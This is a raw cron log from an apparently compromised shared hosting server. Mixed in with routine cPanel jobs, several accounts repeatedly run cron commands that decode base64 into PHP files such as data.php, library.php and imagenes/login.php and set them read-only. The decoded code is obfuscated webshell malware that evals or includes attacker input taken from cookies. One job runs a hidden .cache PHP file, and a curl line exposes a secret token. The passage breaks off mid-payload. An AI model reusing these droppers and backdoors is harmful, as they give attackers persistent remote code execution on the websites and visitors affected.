Mar  1 19:22:01 medusa CROND[15243]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:22:01 medusa CROND[15244]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:22:01 medusa CROND[15249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:23:02 medusa CROND[8294]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:23:02 medusa CROND[8437]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:23:02 medusa CROND[8438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:23:02 medusa CROND[8440]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:23:02 medusa CROND[8442]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:23:02 medusa CROND[8444]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:23:02 medusa CROND[8441]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 19:23:02 medusa CROND[8443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:23:02 medusa CROND[8447]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:23:02 medusa CROND[8448]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:23:02 medusa CROND[8450]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:23:02 medusa CROND[8451]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:24:02 medusa CROND[969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:24:02 medusa CROND[972]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:24:02 medusa CROND[975]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:24:02 medusa CROND[979]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:24:02 medusa CROND[976]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:24:02 medusa CROND[980]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:24:02 medusa CROND[984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:24:02 medusa CROND[987]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 19:24:02 medusa CROND[988]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:24:02 medusa CROND[989]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:24:02 medusa CROND[990]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:24:02 medusa CROND[995]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:24:02 medusa CROND[991]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:25:01 medusa CROND[25575]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 19:25:01 medusa CROND[25595]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 19:25:01 medusa CROND[25657]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 19:25:01 medusa CROND[25690]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93Z